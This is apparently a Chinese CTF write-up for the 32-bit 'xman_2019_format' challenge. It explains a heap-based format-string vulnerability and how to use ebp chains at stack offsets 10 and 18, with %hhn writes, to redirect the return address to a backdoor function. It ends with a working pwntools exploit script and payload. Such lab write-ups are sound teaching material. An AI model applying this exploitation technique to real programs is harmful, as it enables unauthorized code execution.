查看

image.png

32位开了NX,存在fmt漏洞

ida

先malloc0x100大小的空间,然后read了0x37大小,之后调用下个函数

image.png


image.png

char *strtok(char *str, const char *delim)

该函数作用是以第二个参数为分隔符分割字符串

分割之后printf输出,存在fmt漏洞

也就是说,这是在堆上的fmt...

此外,存在后门函数:

image.png


没思路,看wp

gdb

在printf处下断点

image.png

可以看到偏移为10处是ebp链,而18处则是ebp链2

%n修改的是偏移处的地址中的内容的值,参照上图

我们若是修改ebp链中的低字节为0xc,

就是把ebp中存放的0xffffcf88中的内容-0xffffcfb8修改成了0xffffcf0c

若是继续修改ebp链2,那么就是修改了0xffffcf0c中的值

由于每次随机返回地址末尾都是c,那么就是1/16的可能我们正确的修改了返回地址

例如第二次运行时,栈变成了:

image.png

这时的返回地址末尾也还是c,但是这次不是0c,所以会失败

调试时有点背,尝试了十几次才遇上一次:

image.png

第一次%12c%10$hhn

image.png

可以看到ebp链已经指向了返回地址

第二次%172c%18$hhn

image.png

可以看到返回地址一个字节已经成功修改

第三次%13c%10$hhn

image.png

移动位置

第四次%133c%18$hhn

image.png

可以看到返回地址已经变成了后门函数


脚本

# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level='debug'
my_u64 = lambda x: u64(x.ljust(8, '\0'))
#context.arch='amd64'

p = remote("node3.buuoj.cn",29495)
#p=process('./xman_2019_format')
backdoor = 0x080485AB
 
payload =  '%12c%10$hhn' + '|%172c%18$hhn|'
payload += '%13c%10$hhn' + '|%133c%18$hhn'
#gdb.attach(p,'b *0x080485F6')
p.sendafter('...',payload)
p.interactive()

当然,修改为不是0c也行,1c2c3c4c....都可以

总之感觉就是碰运气